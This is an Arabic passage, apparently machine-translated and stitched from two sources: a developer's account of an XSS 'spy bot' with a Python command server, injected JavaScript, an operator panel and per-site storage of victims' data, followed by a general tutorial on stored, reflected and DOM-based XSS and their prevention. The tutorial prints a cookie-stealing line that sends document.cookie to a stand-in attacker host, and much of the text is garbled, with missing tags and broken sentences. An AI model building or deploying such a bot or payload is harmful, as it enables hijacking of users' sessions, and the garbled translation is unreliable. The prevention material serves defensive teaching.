بعد كل شيء، تم بالفعل تحميل كافة البيانات إلى كبشمن خلال المتصفح، لذلك لا يوجد ما يدعو للقلق، ولكن هذا من الناحية النظرية، ربما لاحقًا ستكون هناك بعض المشكلات التي لم أضعها في الاعتبار، لذلك قمت بإنشاء متغير يمكن استخدامه لتعطيل هذه الميزة إذا لزم الأمر.

بعد حذف جميع البرامج النصية، سيكون من الصعب للغاية ملاحظة XSS، نظرًا لأن وجود الإطار لا يشير إلى ذلك بشكل غير مباشر تمامًا، ولا يمكن العثور على الكود نفسه إلا في سجلات محفوظات حركة مرور شبكة المتصفح (والتي لا يتم الاحتفاظ بها افتراضيًا) في العديد من المتصفحات إذا لم تكن لوحة المطور مفتوحة).

جزء الخادم.

لأبسط و طريقة مريحةعند إطلاق الروبوت، تقرر كتابة خادم ويب صغير على المقابس، والذي من شأنه أن يخدم الروبوت، ويوفر جميع العمليات لاستقبال ونشر البيانات المرسلة، ونقل الرسائل بين المهاجم والبوت، وإنشاء واجهة ويب للمهاجم من أجل يأمر.
تم كتابة الخادم بلغة بايثون، وحاولت استخدام المكتبات القياسية فقط حتى لا أضطر إلى تثبيت أي شيء قبل التشغيل. أيضًا، يقوم الخادم نفسه بتحرير بعض البيانات في البرامج النصية، أي أنه في البرنامج النصي JS الخاص بالروبوت ليست هناك حاجة لتعيين عنوان الخادم المسؤول، وسيقوم خادم الويب نفسه بتعيين العنوان المطلوب هناك عند بدء التشغيل. يوجد معلمة واحدة فقط في تكوين الخادم - المنفذ الذي سيبدأ عليه (الافتراضي هو 8000).
بعد البدء، سيوفر الخادم جميع البيانات اللازمة - رابط إلى البرنامج النصي JS، والذي سيحتاج إلى الانزلاق، أو رابط إلى لوحة الأوامر، أو بالأحرى روابط إلى عناوين خارجية ومحلية، للراحة.

مخطط العمل مع الروبوت.

نقوم بتشغيل الخادم على منفذ لم تتم المطالبة به ويمكنك إرسال رابط باستخدام برنامج نصي لروبوت، ثم سيرسل لك كل من ينقر عليه البيانات التي سيحفظها الخادم في أي وقت من اليوم. ثم يمكنك ببساطة مشاهدتها إذا كانت هناك حاجة لترك روبوت الفريق والاستمرار في القيام بالأشياء الخاصة به.

هيكل الملف.

يحتوي المجلد على الملفات التالية:

• xsb.py - الملف الرئيسي الذي ينفذ جزء الخادم لكي يعمل الروبوت، ثم قم بتشغيله، ثم استخدم الرابط الذي يقدمه ببساطة؛
• xsb.js – يتم تخزين رمز JS الخاص بالروبوت هنا، ويتم الإعلان عن الرابط الذي يوفره الخادم في بدايته، والتي يمكن تغييرها وفقًا لتقديرك (بعضها، أي المضيف والمنفذ، سيتم تعيين الخادم لاحقًا بنفسه، فلا داعي للقلق بشأن ذلك)؛
• Panel.html – من هنا يأخذ الخادم الرمز الخاص بلوحة تحكم الروبوت، ويمكنك ضبط الواجهة حسب تقديرك؛
• كلمة المرور.txt - يتم تخزين كلمة المرور الخاصة بلوحة التحكم هنا، والتي يمكن تغييرها؛
• البيانات المحفوظة هي الدليل الذي سيتم فيه إنشاء المجلدات ذات نطاقات موقع الويب، حيث سيتم حفظ جميع المعلومات.

اسمحوا لي أن أشير مرة أخرى إلى ذلك في الملف xsb.jsيمكنك إضافة وظائفك الخاصة، والتي يمكنك بعد ذلك الاتصال بها من خلال اللوحة دون كتابة أجزاء ضخمة من التعليمات البرمجية؛

تحليل قصير للنتائج.

بعد كتابة طريقتي المبتكرة لإبقاء المستخدم على صفحة باستخدام XSS من خلال الإطارات (حسنًا، كما اخترعت - اكتشفتها شخصيًا بنفسي، فمن المحتمل جدًا أن يكون شخص آخر "اخترع" هذه التقنية نفسها لنفسه أو أنها موجودة بالفعل في مكان ما في الجمهور متوهج، لأنه من الصعب جدًا الآن تطوير شيء جديد حقًا، وكقاعدة عامة، بعد مرور بعض الوقت تكتشف أن "هذا كان بالفعل في The Simpsons") بدأت في الخوض في BeEF بمزيد من التفاصيل وقراءة الويكي الخاص بها. ثم اكتشفت أنه تم تطبيق تقنية أخرى هناك لتحقيق نفس الهدف - وهو تمديد وقت المستخدم على صفحة بها XSS قابل للتنفيذ (والذي أطلقوا عليه اسم رجل في المتصفح). وتم تنفيذه على النحو التالي: تم تغيير جميع الروابط الموجودة على الصفحة الأصلية بحيث أنه عند النقر على أي منها، لا يقوم البرنامج النصي بإعادة تحميل الصفحة، ولكن من خلال Ajax يرسل طلبًا إلى الخادم ويدخل البيانات تم تلقيه في الرد، أي أنه يمكن القول أنه تم تحديثه بشكل مصطنع، والذي لا يمكن تمييزه تقريبًا عن المرطبات العادية.

لذلك، لم أكن أول من نجح في تحقيق هذه الفكرة (حتى لو تبين أن الأساليب مختلفة). لكن كلتا الطريقتين لهما عيوبهما:

لا تعمل طريقة التحميل عبر إذا كان هناك رأس في الاستجابة خيارات الإطار X: رفض، ولكنه بخلاف ذلك يعمل كنافذة متصفح عادية؛

تعمل طريقة ajax دائمًا إذا كان المتصفح يدعمها (جميع المتصفحات الرئيسية تدعمها الآن)، ولكن مع معيار Web 2.0 الجديد، يتم تشغيل المزيد والمزيد من التحولات بواسطة الأحداث المخصصة لأي عناصر عبر JS. في أحد الأيام، ذهبت إلى Google AdWords وقررت أن أرى كيف يتفاعل HTML وJS هناك، لأن جميع العناكب التي أستخدمها كانت سيئة للغاية في إنشاء الخريطة الخلفية لهذه الخدمة. وكنت مذعورًا طوال المساء بشأن مدى غرابة كل شيء هناك، عندما كانت عناصر النص عبارة عن أزرار ومحولات وشرائح تمرير وتم تصويرها مع كل شيء آخر، وكان لكل منها حوالي 30 معالجًا لأحداث مختلفة.

وهذا هو، في موقع متطور، سيتم تنفيذ زر الانتقال (رابط ذاتي) من خلال علامة عادية ، وهي محملة بالأنماط والتي يتم إرفاق معالجات الأحداث بها، أحدها، على سبيل المثال، يقوم onclick بإعادة توجيه المستخدم إلى صفحة أخرى. هناك أيضًا عناصر قياسية مثل [i]أو نفسه وما إلى ذلك، والتي هي أيضًا في الواقع روابط لصفحات أخرى، ولكن لن يستجيب لها BeEF ولن يتم تحديث الصفحة ببساطة عند النقر فوق معظم الأزرار والعناصر الأخرى. مما قد يدفع المستخدم إلى تحديث الصفحة أو إعادة الدخول من الجانب الآخر، مما يؤدي إلى إنهاء جلسة XSS النشطة لدينا.

لإيجاز تسمية الملفات، قمت بتسميتها Xss Spy Bot.

ملاحظة:
استغرق هذا الأمر برمته ما يزيد قليلاً عن شهر للكتابة بسبب ضيق الوقت الدوري والانحرافات المستمرة. ولهذا السبب أيضًا، فإن جودة الكود واحتمالية حدوث بعض الأخطاء مرتفعة جدًا. لذلك أطلب منك ألا تكثر من الشتائم، بل أن تكتب ما هو خطأ شخص ما حتى يمكن تصحيحه.
لقد اختبرت الروبوت بنفسي على 4 أجهزة فقط، جميعها تعمل بنظام دبيان.

الخطط طويلة المدى لهذا الروبوت، إذا كان هناك دافع:
- تنفيذ عرض كود الصفحات التي يرسلها الروبوت إلى الخادم، بحيث يتم فتحه على الفور في المتصفح ويمكن "لمسه" واختباره بسرعة؛
- سيحاولون الحصول على بعض الأشياء الجيدة من تقنية WebRTC، أي إيجاد طرق للحصول على معلومات جديدة لا يمكن لـ JS النقي استخراجها؛
- تنفيذ الاتصال بين الروبوت والخادم عبر بروتوكول WebSocket عبر HTTP؛
- إضافة بعض وسائل الراحة إلى لوحة التحكم؛

وهو برنامج تعليمي شامل حول البرمجة النصية عبر المواقع.

الجزء الأول: نظرة عامة ما هو XSS؟

البرمجة النصية عبر المواقع ( إنجليزي البرمجة النصية عبر المواقع) عبارة عن هجوم حقن تعليمات برمجية يسمح للمهاجم بتنفيذ JavaScript ضار في متصفح مستخدم آخر.

المهاجم لا يهاجم ضحيته بشكل مباشر. وبدلاً من ذلك، فإنه يستغل ثغرة أمنية في موقع الويب الذي يزوره الضحية ويقوم بإدخال تعليمات برمجية JavaScript ضارة. في متصفح الضحية، تظهر JavaScript الضارة كجزء مشروع من موقع الويب، ويعمل موقع الويب نفسه كشريك مباشر للمهاجم.

حقن كود جافا سكريبت الخبيث

الطريقة الوحيدة التي يمكن للمهاجم من خلالها تشغيل JavaScript ضار في متصفح الضحية هي إدخالها في إحدى الصفحات التي يقوم الضحية بتحميلها من موقع الويب. يكون هذا ممكنًا إذا كان موقع الويب يسمح للمستخدمين بإدخال البيانات على صفحاته، ويمكن للمهاجم إدراج سلسلة سيتم اكتشافها كجزء من التعليمات البرمجية في متصفح الضحية.

يوضح المثال أدناه برنامجًا نصيًا بسيطًا من جانب الخادم يُستخدم لعرض أحدث تعليق على الموقع:

مطبعة ""
طباعة "التعليق الأخير:"
طباعة قاعدة البيانات.آخر تعليق
مطبعة ""

يفترض البرنامج النصي أن التعليق يتكون من نص فقط. ومع ذلك، نظرًا لتمكين الإدخال المباشر للمستخدم، يمكن للمهاجم ترك هذا التعليق: "...". سيتلقى الآن أي مستخدم يزور الصفحة الرد التالي:

التعليق الأخير:
...

عندما يقوم متصفح المستخدم بتحميل الصفحة، فإنه سيقوم بتنفيذ كل شيء، بما في ذلك كود JavaScript الموجود داخل ملف . ونفذ المهاجم الهجوم بنجاح.

ما هي جافا سكريبت الضارة؟

قد لا تبدو القدرة على تنفيذ JavaScript في متصفح الضحية ضارة بشكل خاص. تعمل JavaScript في بيئة محدودة للغاية وصول محدودلملفات المستخدم و نظام التشغيل. في الواقع، يمكنك فتح وحدة تحكم JavaScript في متصفحك الآن وتنفيذ أي JavaScript تريده، ومن المستبعد جدًا أن تتمكن من التسبب في أي ضرر لجهاز الكمبيوتر الخاص بك.

ومع ذلك، فإن احتمالية أن تعمل تعليمات JavaScript البرمجية كتعليمات برمجية ضارة تصبح أكثر وضوحًا عندما تأخذ في الاعتبار الحقائق التالية:

• جافا سكريبت لديه حق الوصول إلى بعض معلومات سريةالمستخدم، على سبيل المثال ملفات تعريف الارتباط.
• يمكن لـ JavaScript إرسال طلبات HTTP بمحتوى عشوائي في أي اتجاه باستخدام XMLHttpRequest وآليات أخرى.
• يمكن لـ JavaScript إجراء تغييرات عشوائية على كود HTML للصفحة الحالية باستخدام تقنيات معالجة DOM.

إذا تم دمج هذه الحقائق، فإنها يمكن أن تسبب انتهاكات خطيرة للغاية للسلامة، سنتابع التفاصيل.

عواقب كود جافا سكريبت الخبيث

بالإضافة إلى ذلك، فإن القدرة على تنفيذ JavaScript عشوائيًا في متصفح مستخدم آخر تسمح للمهاجم بذلك الأنواع التاليةالهجمات:

سرقة ملفات تعريف الارتباط

يمكن للمهاجم الوصول إلى ملفات تعريف الارتباط المتعلقة بموقع الضحية باستخدام document.cookie وإرسالها إلى الخادم الخاص به واستخدامها لاستخراج المعلومات الحساسة مثل معرفات الجلسة.

كلوغر

يمكن للمهاجم تسجيل مستمع حدث لوحة المفاتيح باستخدام addEventListener ثم إرسال جميع ضغطات المفاتيح التي قام بها المستخدم إلى الخادم الخاص به، ومن المحتمل أن يقوم بتسجيل معلومات حساسة مثل كلمات المرور وأرقام بطاقات الائتمان.

التصيد

يمكن للمهاجم إدراج نموذج تسجيل دخول مزيف في الصفحة باستخدام معالجة DOM، وتعيين سمات إجراء النموذج على الخادم الخاص به، ثم خداع المستخدم للحصول على معلومات حساسة.

على الرغم من أن هذه الهجمات تختلف بشكل كبير، إلا أنها جميعها تتشابه بشكل كبير: حيث يقوم المهاجم بإدخال التعليمات البرمجية في الصفحة التي يخدمها موقع الويب، يتم تنفيذ JavaScript الضار في سياق موقع الويب هذا. وهذا يعني أنه يتم التعامل معه مثل أي برنامج نصي آخر من هذا الموقع: فهو يتمتع بإمكانية الوصول إلى بيانات الضحية الخاصة بهذا الموقع (مثل ملفات تعريف الارتباط) وسيكون اسم المضيف المعروض في شريط URL هو نفس موقع الويب. لجميع الأغراض، يعتبر البرنامج النصي جزءًا قانونيًا من الموقع، مما يسمح له بفعل أي شيء يمكن للموقع نفسه القيام به.

هذه الحقيقة تسلط الضوء على قضية رئيسية:

إذا تمكن أحد المهاجمين من استخدام موقع الويب الخاص بك لتنفيذ تعليمات برمجية JavaScript عشوائية في متصفحات المستخدمين الآخرين، فهذا يعني تعرض أمان موقع الويب الخاص بك ومستخدميه للخطر.

للتأكيد على هذه النقطة، سيتم ترك بعض أمثلة البرامج النصية الضارة في هذا البرنامج التعليمي دون تفاصيل، باستخدام.... يشير هذا إلى أن مجرد وجود برنامج نصي يتم إدخاله بواسطة مهاجم يمثل مشكلة، بغض النظر عن كود البرنامج النصي المحدد الذي يتم تنفيذه بالفعل.

الجزء الثاني: هجوم XSS المشاركون في هجوم XSS

قبل أن نصف بالتفصيل كيفية عمل هجوم XSS، نحتاج إلى تحديد الجهات الفاعلة المشاركة في هجوم XSS. بشكل عام، هناك ثلاثة أطراف في هجوم XSS: موقع الويب، والضحية، والمهاجم.

• يوفر الموقع صفحات HTML للمستخدمين الذين يطلبونها. في الأمثلة لدينا هو موجود في http://website/.
  • قاعدة بيانات موقع الويب هي قاعدة بيانات تقوم بتخزين بعض البيانات التي يدخلها المستخدمون على صفحات موقع الويب.
• الضحية هو مستخدم عاديموقع الويب الذي يطلب صفحات منه باستخدام متصفحه.
• المهاجم هو مهاجم ينوي شن هجوم على الضحية على حساب باستخدام XSS- نقاط الضعف في الموقع.
  • خادم المهاجم هو خادم ويب يتحكم فيه مهاجم لغرض وحيد هو سرقة المعلومات السرية للضحية. في الأمثلة لدينا، يقع على http://attacker/.

مثال لسيناريو الهجوم

window.location="http://attacker/?cookie="+document.cookie

سيقوم هذا البرنامج النصي بإنشاء طلب HTTP إلى عنوان URL آخر، والذي سيعيد توجيه متصفح المستخدم إلى خادم المهاجم. يتضمن عنوان URL ملفات تعريف الارتباط الخاصة بالضحية كمعلمة طلب، وعندما يأتي طلب HTTP إلى خادم المهاجم، يمكن للمهاجم استخراج ملفات تعريف الارتباط هذه من الطلب. بمجرد أن يتلقى المهاجم ملفات تعريف الارتباط، يمكنه استخدامها لانتحال شخصية الضحية وشن هجوم لاحق.

من الآن فصاعدًا، سيتم تسمية كود HTML الموضح أعلاه بسلسلة ضارة أو برنامج نصي ضار. من المهم أن نفهم أن السلسلة نفسها تكون ضارة فقط إذا تم عرضها في النهاية بتنسيق HTML في متصفح الضحية، ولا يمكن أن يحدث هذا إلا إذا كانت هناك ثغرة أمنية XSS في موقع الويب.

كيف يعمل هذا الهجوم المثال

يوضح الرسم البياني أدناه مثالاً لهجوم قام به أحد المهاجمين:

يستخدم المهاجم أحد نماذج موقع الويب لإدراج سلسلة ضارة في قاعدة بيانات موقع الويب.

الضحية يطلب صفحة من موقع على الانترنت.

يتضمن الموقع سلسلة قاعدة بيانات ضارة في الاستجابة ويرسلها إلى الضحية.

ينفذ متصفح الضحية برنامجًا نصيًا ضارًا داخل الاستجابة، ويرسل ملف تعريف الارتباط الخاص بالضحية إلى خادم المهاجم.

أنواع XSS

الهدف من هجوم XSS هو دائمًا تنفيذ برنامج JavaScript ضار في متصفح الضحية. هناك عدة طرق مختلفة بشكل أساسي لتحقيق هذا الهدف. غالبًا ما يتم تقسيم هجمات XSS إلى ثلاثة أنواع:

• XSS المخزن (الدائم)، حيث تنشأ السلسلة الضارة من قاعدة بيانات موقع الويب.
• XSS المنعكس (غير المستمر)، حيث يتم إنشاء السلسلة الضارة من طلب الضحية.
• XSS DOMs، حيث تحدث الثغرة الأمنية في التعليمات البرمجية من جانب العميل بدلاً من التعليمات البرمجية من جانب الخادم.

يوضح المثال السابق هجوم XSS المخزن. سنقوم الآن بوصف نوعين آخرين من هجمات XSS: هجمات XSS المنعكسة وهجمات DOM XSS.

XSS المنعكس

في هجوم XSS المنعكس، تكون السلسلة الضارة جزءًا من طلب الضحية إلى موقع الويب. يقبل الموقع هذه السلسلة الضارة ويدرجها في الرد المرسل إلى المستخدم. ويوضح الرسم البياني أدناه هذا السيناريو:

يخدع الضحية المهاجم لإرسال طلب URL إلى موقع الويب.

يتضمن الموقع سلسلة ضارة من طلب URL في الرد على الضحية.

ينفذ متصفح الضحية البرنامج النصي الضار الموجود في الرد، ويرسل ملفات تعريف الارتباط الخاصة بالضحية إلى خادم المهاجم.

كيف يتم تنفيذ هجوم XSS المنعكس بنجاح؟

قد يبدو هجوم XSS المنعكس غير ضار لأنه يتطلب من الضحية إرسال طلب بالنيابة عنه يحتوي على سلسلة ضارة. نظرًا لعدم قيام أي شخص بمهاجمة نفسه طوعًا، يبدو أنه لا توجد طريقة لتنفيذ الهجوم فعليًا.

كما اتضح، هناك طريقتان شائعتان على الأقل لدفع الضحية إلى شن هجوم XSS منعكس ضد نفسه:

• إذا كان المستخدم شخصًا محددًا، فيمكن للمهاجم إرسال عنوان URL ضار إلى الضحية (على سبيل المثال، عبر البريد الإلكتروني أو المراسلة الفورية)، وخداعه لفتح الرابط لزيارة موقع الويب.
• إذا كان الهدف عبارة عن مجموعة كبيرة من المستخدمين، فيمكن للمهاجم نشر رابط إلى عنوان URL ضار (على سبيل المثال، على موقع الويب الخاص بهم أو الشبكة الاجتماعية) وانتظر حتى يتبع الزوار الرابط.

كلتا الطريقتين متشابهتان، وكلاهما يمكن أن يكونا أكثر نجاحًا باستخدام خدمات تقصير عناوين URL التي ستخفي السلسلة الضارة عن المستخدمين الذين قد يتمكنون من التعرف عليها.

XSS في DOM

يعد XSS في DOM أحد أشكال هجمات XSS المخزنة والمنعكسة. في هجوم XSS هذا، لا تتم معالجة السلسلة الضارة بواسطة متصفح الضحية حتى يتم تنفيذ JavaScript الفعلي لموقع الويب. يوضح الرسم البياني أدناه هذا السيناريو لهجوم XSS المنعكس:

يقوم المهاجم بإنشاء عنوان URL يحتوي على سلسلة ضارة ويرسله إلى الضحية.

يخدع الضحية المهاجم لإرسال طلب URL إلى موقع الويب.

يقبل الموقع الطلب، ولكنه لا يقوم بتضمين السلسلة الضارة في الاستجابة.

ينفذ متصفح الضحية البرنامج النصي الشرعي الموجود في الرد، مما يتسبب في إدراج البرنامج النصي الضار في الصفحة.

ينفذ متصفح الضحية برنامجًا نصيًا ضارًا يتم إدراجه في الصفحة، ويرسل ملفات تعريف الارتباط الخاصة بالضحية إلى خادم المهاجم.

ما الفرق بين XSS في DOM؟

في الأمثلة السابقة لهجمات XSS المخزنة والمنعكسة، يقوم الخادم بإدراج برنامج نصي ضار في الصفحة، والذي يتم بعد ذلك إعادة توجيهه ردًا على الضحية. عندما يتلقى متصفح الضحية الرد، فإنه يفترض أن البرنامج النصي الضار هو جزء من المحتوى الشرعي للصفحة ويقوم بتنفيذه تلقائيًا أثناء تحميل الصفحة، تمامًا مثل أي برنامج نصي آخر.

في مثال هجوم XSS في DOM، لم يتم إدراج البرنامج النصي الضار كجزء من الصفحة؛ النص الوحيد الذي يتم تنفيذه تلقائيًا أثناء تحميل الصفحة هو جزء شرعي من الصفحة. تكمن المشكلة في أن هذا البرنامج النصي الشرعي يستخدم إدخال المستخدم مباشرةً لإضافة HTML إلى الصفحة. نظرًا لإدراج السلسلة الضارة في الصفحة باستخدام InternalHTML، يتم تحليلها كـ HTML، مما يتسبب في تنفيذ البرنامج النصي الضار.

هذا الاختلاف صغير ولكنه مهم جدًا:

• في XSS التقليدي، يتم تنفيذ JavaScript ضار عند تحميل الصفحة، كجزء من HTML الذي يرسله الخادم.
• في حالة XSS في DOM، يتم تنفيذ JavaScript ضار بعد تحميل الصفحة، مما يتسبب في وصول صفحة JavaScript الشرعية إلى إدخال المستخدم (الذي يحتوي على السلسلة الضارة) بطريقة غير آمنة.

كيف يعمل XSS في DOM؟

ليست هناك حاجة لجافا سكريبت في المثال السابق؛ يمكن للخادم إنشاء كل HTML بنفسه. إذا لم يكن الكود الموجود على جانب الخادم يحتوي على ثغرات أمنية، فلن يكون موقع الويب عرضة لثغرة XSS.

ومع ذلك، مع تقدم تطبيقات الويب، أصبح كل شيء أكثريتم إنشاء صفحات HTML باستخدام JavaScript على جانب العميل، وليس على الخادم. يجب أن يتغير المحتوى في أي وقت دون تحديث الصفحة بأكملها، وهذا ممكن باستخدام JavaScript. على وجه الخصوص، هذا هو الحال عندما يتم تحديث الصفحة بعد طلب AJAX.

وهذا يعني أن ثغرات XSS يمكن أن تكون موجودة ليس فقط في التعليمات البرمجية من جانب الخادم لموقعك، ولكن أيضًا في التعليمات البرمجية لـ JavaScript من جانب العميل في موقعك. لذلك، حتى مع وجود تعليمات برمجية آمنة تمامًا من جانب الخادم، فقد لا تتضمن تعليمات العميل البرمجية إدخالات المستخدم بشكل آمن عند تحديث DOM بعد تحميل الصفحة. إذا حدث هذا، فإن التعليمات البرمجية من جانب العميل ستسمح بحدوث هجوم XSS دون أي خطأ في التعليمات البرمجية من جانب الخادم.

قد لا يكون XSS المستند إلى DOM مرئيًا للخادم

هناك حالة خاصة لهجوم XSS في DOM حيث لا يتم إرسال السلسلة الضارة مطلقًا إلى خادم موقع الويب: يحدث هذا عندما تكون السلسلة الضارة موجودة في جزء المعرف من عنوان URL (أي شيء بعد الرمز #). لا ترسل المتصفحات هذا الجزء من عنوان URL إلى الخادم، لذلك لا يمكن لموقع الويب الوصول إليه باستخدام التعليمات البرمجية من جانب الخادم. ومع ذلك، فإن التعليمات البرمجية من جانب العميل لديها إمكانية الوصول إليها، وبالتالي من الممكن إجراء هجوم XSS من خلال معالجة غير آمنة.

لا تقتصر هذه الحالة على معرف الجزء. هناك مدخلات مستخدم أخرى غير مرئية للخادم، مثل ميزات HTML5 الجديدة مثل LocalStorage وIndexedDB.

الجزء الثالث:
الوقاية من XSS تقنيات الوقاية من XSS

تذكر أن XSS هو هجوم حقن التعليمات البرمجية: يتم تفسير إدخال المستخدم عن طريق الخطأ على أنه ضار. رمز البرنامج. لمنع هذا النوع من حقن التعليمات البرمجية، يلزم التعامل الآمن مع الإدخال. بالنسبة لمطور الويب، هناك نوعان أساسيان طرق مختلفةإجراء معالجة آمنة للمدخلات:

• التشفير هو أسلوب يسمح للمستخدم بإدخال البيانات كبيانات فقط ولا يسمح للمتصفح بمعالجتها كرمز.
• التحقق من الصحة هو وسيلة لتصفية مدخلات المستخدم بحيث يفسرها المتصفح على أنها تعليمة برمجية بدون أوامر ضارة.

على الرغم من أن طرق تخفيف XSS مختلفة بشكل أساسي، إلا أنها تشترك في العديد من الميزات المشتركة التي من المهم فهمها عند استخدام أي منهما:

يجب أن تتم معالجة الإدخال الآمن للسياق بشكل مختلف اعتمادًا على مكان استخدام إدخال المستخدم في الصفحة. داخل/خارج يمكن إجراء معالجة الإدخال الآمنة إما عندما يتلقى موقعك المدخلات (حركة المرور الواردة

) أو مباشرة قبل أن يقوم الموقع بإدراج مدخلات المستخدم في محتوى الصفحة (الصادرة).

يمكن إجراء معالجة الإدخال الآمنة للعميل/الخادم إما من جانب العميل أو من جانب الخادم، حيث يلزم كل خيار في ظل ظروف مختلفة.

هناك العديد من السياقات على صفحة الويب حيث يمكن تطبيق مدخلات المستخدم. ولكل منها، يجب اتباع قواعد خاصة للتأكد من أن مدخلات المستخدم لا يمكن أن تخرج عن سياقها ولا يمكن تفسيرها على أنها تعليمات برمجية ضارة. فيما يلي السياقات الأكثر شيوعًا:

لماذا السياقات مهمة؟

في جميع السياقات الموصوفة، يمكن أن تحدث ثغرة أمنية في XSS إذا تم إدراج إدخال المستخدم قبل التشفير أو التحقق من الصحة لأول مرة. يمكن للمهاجم إدخال تعليمات برمجية ضارة ببساطة عن طريق إدخال محدد إغلاق لهذا السياق متبوعًا بتعليمات برمجية ضارة.

على سبيل المثال، إذا كان موقع الويب يتضمن في مرحلة ما إدخال المستخدم مباشرة فيه سمة HTML، سيتمكن المهاجم من إدخال برنامج نصي ضار عن طريق بدء إدخاله بعلامة اقتباس، كما هو موضح أدناه:

يمكن منع ذلك ببساطة عن طريق إزالة جميع علامات الاقتباس الموجودة في مدخلات المستخدم وسيكون كل شيء على ما يرام، ولكن فقط في هذا السياق. إذا تم إدراج الإدخال في سياق مختلف، فسيكون محدد الإغلاق مختلفًا وسيكون الإدخال ممكنًا. لهذا السبب، يجب دائمًا تصميم التعامل الآمن مع الإدخال وفقًا للسياق الذي سيتم فيه إدراج إدخال المستخدم.

التعامل مع مدخلات المستخدم الواردة/الصادرة

غريزيًا، يبدو أنه يمكن منع XSS عن طريق تشفير أو التحقق من صحة جميع مدخلات المستخدم بمجرد أن يستقبلها موقعنا. بهذه الطريقة، سيتم بالفعل تحييد أي سلاسل ضارة عندما يتم تضمينها في الصفحة، ولن تضطر البرامج النصية لإنشاء HTML إلى القلق بشأن التعامل مع إدخال المستخدم بأمان.

المشكلة هي أنه، كما هو موضح سابقًا، يمكن إدراج مدخلات المستخدم في سياقات متعددة على الصفحة. ولا طريقة بسيطةتحديد متى يصل إدخال المستخدم إلى سياق ما - وكيف سيتم إدراجه في النهاية، وغالبًا ما يلزم إدراج نفس إدخال المستخدم في سياقات مختلفة. من خلال الاعتماد على معالجة المدخلات الواردة لمنع XSS، فإننا نقوم بإنشاء حل هش للغاية وسيكون عرضة للخطأ. (تعتبر "علامات الاقتباس السحرية" القديمة في PHP مثالاً على هذا الحل.)

بدلاً من ذلك، يجب أن تكون معالجة المدخلات الصادرة خط دفاعك الأساسي ضد XSS لأنها يمكن أن تأخذ في الاعتبار السياق المحدد لمدخلات المستخدم التي سيتم إدراجها. إلى حد ما، يمكن استخدام التحقق الداخلي لإضافة طبقة ثانوية من الأمان، ولكن المزيد عن ذلك لاحقًا.

أين يمكن التعامل مع مدخلات المستخدم بشكل آمن؟

في معظم تطبيقات الويب الحديثة، تتم معالجة إدخال المستخدم على جانب الخادم وعلى جانب العميل. للحماية من جميع أنواع XSS، يجب أن تتم معالجة الإدخال الآمن في كل من التعليمات البرمجية من جانب الخادم والعميل.

• للحماية من XSS التقليدي، يجب أن تتم معالجة الإدخال الآمن في التعليمات البرمجية من جانب الخادم. ويتم ذلك باستخدام بعض اللغات التي يدعمها الخادم.
• للحماية من هجوم XSS في DOM، حيث لا يتلقى الخادم أبدًا سلسلة ضارة (مثل هجوم جزء المعرف الموصوف سابقًا)، يجب أن تتم المعالجة الآمنة للمدخلات في التعليمات البرمجية من جانب العميل. ويتم ذلك باستخدام جافا سكريبت.

الآن بعد أن أوضحنا سبب أهمية السياق، وأهمية التمييز بين معالجة المدخلات الواردة والصادرة، ولماذا يجب أن تتم معالجة المدخلات الآمنة على كلا الجانبين، جانب العميل وجانب الخادم، يمكننا المضي قدمًا في شرح كيفية القيام بذلك يتم تنفيذ أنواع معالجة المدخلات الآمنة (التشفير والتحقق من الصحة) فعليًا.

الترميز

يعد الترميز طريقة للخروج من الموقف الذي يكون فيه من الضروري للمتصفح تفسير إدخال المستخدم على أنه بيانات فقط، وليس رمزًا. النوع الأكثر شيوعًا من الترميز في تطوير الويب هو إخفاء HTML، والذي يحول الأحرف مثل< и >V< и >على التوالى.

الكود الكاذب التالي هو مثال لكيفية تشفير إدخال المستخدم (إدخال المستخدم). باستخدام HTMLإخفاء ثم إدراجه في الصفحة باستخدام برنامج نصي للخادم:

مطبعة ""
طباعة "التعليق الأخير:"
طباعة ترميزHtml (إدخال المستخدم)
مطبعة ""

إذا قام المستخدم بإدخال السطر التالي...، فسيبدو HTML الناتج كما يلي:

التعليق الأخير:
...

نظرًا لأنه تم تخطي جميع الأحرف ذات المعنى الخاص، فلن يقوم المتصفح بتحليل أي جزء من إدخال المستخدم مثل HTML.

ترميز العميل والرمز الجانبي للخادم

عند إجراء التشفير من جانب العميل، يتم دائمًا استخدام JavaScript، الذي يحتوي على وظائف مضمنة تقوم بتشفير البيانات لسياقات مختلفة.

عند إجراء الترميز في التعليمات البرمجية من جانب الخادم الخاص بك، فإنك تعتمد على الميزات المتوفرة في لغتك أو إطار العمل الخاص بك. بسبب كمية كبيرةاللغات والأطر المتاحة، هذا دليل التدريبلن يغطي تفاصيل الترميز في أي لغة أو إطار عمل محدد للخادم. ومع ذلك، يتم أيضًا استخدام وظائف ترميز JavaScript المستخدمة من جانب العميل عند كتابة التعليمات البرمجية من جانب الخادم.

الترميز من جانب العميل

عند تشفير إدخال المستخدم من جانب العميل باستخدام JavaScript، هناك العديد من الأساليب والخصائص المضمنة التي تقوم بتشفير جميع البيانات تلقائيًا بأسلوب حساس للسياق:

السياق الأخير المذكور أعلاه (القيم في JavaScript) لم يتم تضمينه في هذه القائمة لأن JavaScript لا يوفر طريقة مدمجة لتشفير البيانات التي سيتم تضمينها في كود المصدرجافا سكريبت.

قيود الترميز

حتى عند البرمجة، من الممكن استخدام سلاسل ضارة في بعض السياقات. ومن الأمثلة الواضحة على ذلك عندما يتم استخدام إدخال المستخدم لتوفير عنوان URL، كما هو الحال في المثال أدناه:

document.querySelector("a").href = userInput

على الرغم من أن تحديد قيمة في خاصية href الخاصة بالعنصر يؤدي إلى تشفيرها تلقائيًا بحيث تصبح مجرد قيمة سمة، إلا أن هذا في حد ذاته لا يمنع المهاجم من إدراج عنوان URL يبدأ بـ "javascript:". عند النقر على الرابط، بغض النظر عن البناء، سيتم تنفيذ JavaScript المضمن في عنوان URL.

لا يعد الترميز أيضًا حلاً فعالاً عندما تريد أن يتمكن المستخدمون من استخدام بعض تعليمات HTML البرمجية الموجودة على الصفحة. ومن الأمثلة على ذلك صفحة ملف تعريف المستخدم حيث يمكن للمستخدم استخدام HTML المخصص. إذا كان هذا HTML عاديسيتم ترميزه، ولن تكون صفحة الملف الشخصي قادرة إلا على أن تتكون من نص عادي.

في مثل هذه الحالات، يجب استكمال الترميز بالتحقق من الصحة، وهو ما سننظر إليه لاحقًا.

تصديق

